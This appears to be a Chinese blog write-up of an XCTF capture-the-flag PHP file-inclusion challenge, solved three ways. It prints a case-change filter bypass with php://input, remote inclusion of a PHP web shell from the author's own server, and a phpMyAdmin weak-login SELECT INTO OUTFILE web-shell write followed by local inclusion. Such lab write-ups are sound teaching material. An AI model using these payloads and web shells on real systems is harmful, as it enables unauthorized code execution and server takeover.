关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客
0x01:考点速览
本关考察的是 PHP 的文件包含漏洞,想要完美的通过此关,你需要知道以下知识点:
-
文件包含漏洞 => include 可以执行代码 =>
include(system('ls'))
-
PHP 伪协议 - 我们可以通过下面的伪协议控制 include 的内容:
-
php://input
-
data://text/plain,
-
-
PHP 伪协议特性:
php://input
大小写转换后功能不变 =>Php://input
-
Python2 启动 HTTP 服务器命令:
python2 -m SimpleHTTPServer 8000
-
Python3 启动 HTTP 服务器命令:
python -m http.server 8080
-
通过数据库写入一句话木马 GET Shell:
-
select "" into outfile '/tmp/hacker.php';
-
-
PHP 代码审计 -
str_replace()
函数可以使用大小写转换绕过。
0x02:Write UP
0x0201:Write UP 01 - PHP 伪协议命令执行
本题存在多种解题方法,解法 01 使用的是利用 PHP 伪协议进行命令执行,登录靶场:
可以看到目标过滤了php://
,绕过很简单大小写改一下就好了Php://
。我们利用 php://input
进行命令执行,使用 BurpSuite 抓取请求包:
在 get 请求处添加 Payload,进行抓包,并在请求体中包含要执行的命令:
?page=Php://input
除了php://input
可以使用,其实data://text/plain
也可以使用:
data://text/plain,
0x0202:Write UP 02 - 远程文件包含
解题方法 02 使用的是远程文件包含,来获取 Flag,登录页面,先分析一下代码:
-
- show_source(__FILE__);
- echo $_GET['hello'];
- $page=$_GET['page'];
- while (strstr($page, "php://")) {
- $page=str_replace("php://", "", $page);
- }
- include($page);
- ?>
目标会过滤 php://
,不过如果我们不用呢,传入 ?page=http://127.0.0.1
进行测试:
可以看到,他将自己的页面又包含了一遍,于是我就怀疑其存在远程文件包含,不过如果想要利用远程文件包含,需要用到一个服务器,这里我用的自己的阿里云的服务器进行演示。
首先是在服务器任意目录下写入一个一句话木马,我这里为了方便演示,还多打印了一句话:
-
- @eval($_POST['hacker']);
- echo "I am a hacker";
- ?>
然后开启 http 服务,我的服务器上安装了 python2,所以开启服务的命令为:
python2 -m SimpleHTTPServer 8000
然后在靶场上,输入 payload:
?page=http://xxx.xxx.xxx.xxx:8000/shell.php # 这里的 xxx.xxx.xxx.xxx 是服务器的 ip 地址
可以看到,页面上出现了我们写在 shell.php 的命令,然后我们使用蚁剑进行连接:
然后打开终端,非常容易就找到了 flag:
0x0203:Write UP 03 - 管理后台入侵 + 本地文件包含
解题方法 03 使用的是入侵管理后台+本地文件包含来获取 Flag, 打开御剑,对目标靶场进行扫描,可以扫描到一个 phpmyadmin 的后台:
我们直接访问,用户名和密码是弱口令,用户名为root
,密码为空,直接就可以登录:
找到执行 SQL 命令的地方,输入如下语句,在目标服务器上写入一句话木马:
select "" into outfile '/tmp/hacker.php';
一句话木马写入成功,然后到靶场首页,输入下面的 Payload 进行文件包含:
?page=/tmp/hacker.php
使用蚁剑进行连接:
然后傻瓜式获取 Flag:
0x03:参考资料
mysql 写入文件的几种方法 - 老白网络MySQL 是一种流行的关系型数据库管理系统。在 MySQL 中,写入文件是一项非常重要的任务,因为它允许您将数据持久化到硬盘上以进行后续分析。在本文中,我们将介绍 MySQL 写入文件的几种方法。 一、使用 SELECT INTO OUTFILE 语句将结果集写...https://www.yzktw.com.cn/post/772476.html
php伪协议实现命令执行,任意文件读取_ctf php文件读取-CSDN博客该文章介绍了PHP伪协议中的file://和php://协议,以及利用data://协议实现了任意文件读取和命令执行的方法。文章还提供了具体的使用示例和注意事项。http://iyenn.com/rec/1646244.html
评论记录:
回复评论: